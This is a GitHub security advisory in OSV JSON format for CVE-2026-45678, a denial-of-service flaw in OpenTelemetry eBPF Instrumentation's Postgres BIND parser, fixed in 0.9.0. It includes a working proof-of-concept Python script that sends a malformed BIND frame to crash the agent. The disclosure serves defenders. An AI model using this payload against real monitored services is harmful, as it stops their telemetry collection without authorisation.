CVE-2026-45678: OpenTelemetry eBPF Instrumentation Postgres BIND Parsing Can Panic Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pgvv-q3wf-mm9m",
  "modified" : "2026-06-09T10:58:02Z",
  "published" : "2026-05-18T17:56:26Z",
  "aliases" : [ "CVE-2026-45678" ],
  "summary" : "OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads",
  "details" : "### Summary\n\nThe Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.\n\n### Details\n\nThe vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name.\n\nThere is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic.\n\n### PoC\n\nLocal testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nStart a local Postgres instance and OBI:\n\n```bash\ndocker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17\nsudo ./bin/obi\n```\n\nSend a malformed `BIND` frame with an empty payload:\n\n```python\n# save as /tmp/pg-bind-poc.py\nimport socket, struct\n\ntag = b'B'\nlength = struct.pack(\">I\", 4)\npayload = b\"\"\n\ns = socket.create_connection((\"127.0.0.1\", 5432))\ns.sendall(tag + length + payload)\ns.close()\n```\n\nRun it:\n\n```bash\npython3 /tmp/pg-bind-poc.py\n```\n\nOn a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.\n\n### Impact\n\nThis is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "go.opentelemetry.io/obi"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45678"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-754" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-18T17:56:26Z",
    "nvd_published_at" : "2026-06-02T16:16:42Z"
  }
}